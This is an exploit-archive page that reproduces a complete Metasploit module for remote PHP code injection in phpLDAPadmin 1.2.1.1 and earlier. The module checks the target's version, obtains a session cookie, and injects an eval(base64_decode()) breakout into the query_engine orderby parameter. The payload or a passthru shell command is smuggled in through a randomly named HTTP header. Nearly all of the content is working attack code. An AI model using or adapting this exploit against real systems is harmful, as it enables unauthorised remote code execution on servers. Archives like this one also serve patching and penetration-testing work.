exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection

phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection
Posted Oct 25, 2011
Authored by EgiX, mr_me, TecR0c | Site metasploit.com

This Metasploit module exploits a vulnerability in the lib/functions.php that allows attackers input parsed directly to the create_function() php function. A patch was issued that uses a whitelist regex expression to check the user supplied input before being parsed to the create_function() call.

tags | exploit, php
SHA-256 | e1b54786a4e2d61486487555756f54e0b3b67f845210590ec4291fbcedf138f3

phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection

Change Mirror Download
##
# $Id: phpldapadmin_query_engine.rb 14062 2011-10-25 16:19:55Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection',
'Description' => %q{
This module exploits a vulnerability in the lib/functions.php that allows
attackers input parsed directly to the create_function() php function. A patch was
issued that uses a whitelist regex expression to check the user supplied input
before being parsed to the create_function() call.
},
'Author' =>
[
'EgiX <n0b0d13s[at]gmail-com>', # original discovery/poc
'mr_me <steventhomasseeley[at]gmail-com>', # msf
'TecR0c <roccogiovannicalvi[at]gmail-com >', # msf
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 14062 $',
'References' =>
[
['BID', '50331'],
['URL', 'http://sourceforge.net/support/tracker.php?aid=3417184'],
['URL', 'http://www.exploit-db.com/exploits/18021/'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 4000,
'Keys' => ['php'],
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Oct 24 2011',
'DefaultTarget' => 0))

register_options(
[
OptString.new('URI', [true, "phpLDAPadmin directory path", "/phpldapadmin/htdocs/"]),
], self.class)
end

def check
uri = ''
uri << datastore['URI']
uri << '/' if uri[-1,1] != '/'
uri << 'index.php'

res = send_request_raw(
{
'method' => 'GET',
'uri' => uri,
}, 3)

if (res and res.body =~ /phpLDAPadmin \(1\.2\.[0|1]\.\d/i)
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def get_session
uri = ''
uri << datastore['URI']
uri << '/' if uri[-1,1] != '/'
uri << 'index.php'

res = send_request_raw(
{
'method' => 'GET',
'uri' => uri,
}, 3)

if (res.nil? or not res.headers['Set-Cookie'])
print_error("Could not generate a valid session")
return
end

return res.headers['Set-Cookie']
end

def cleanup
# We may not be using php/exe again, so clear the CMD option
if datastore['CMD']
datastore['CMD'] = nil
end
end

def exploit
# if we are using the exec CMD stager
# important to check which php functions are disabled
if datastore['CMD']
p = "passthru(\"%s\");" % datastore['CMD']
p = Rex::Text.encode_base64(p)
else
p = Rex::Text.encode_base64(payload.encoded)
end

# Generate some random strings
hidden_header = rand_text_alpha_upper(6)
fake_func_name = rand_text_alpha_upper(2)

# build sttack string
php_code = "#{fake_func_name}));}}error_reporting(0);eval(base64_decode(\$_SERVER[HTTP_#{hidden_header}]));die;/*"
data = "cmd=query_engine&query=none&search=1&orderby=#{php_code}\r\n\r\n"
session = get_session

uri = ''
uri << datastore['URI']
uri << '/' if uri[-1,1] != '/'
uri << 'cmd.php'

res = send_request_cgi(
{
'method' => 'POST',
'uri' => uri,
'data' => data,
'headers' =>
{
"#{hidden_header}" => p,
'Cookie' => session,
'Connection' => 'Close',
},

}, 3)

print_status("%s" % res.body) if datastore['CMD']
end

end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close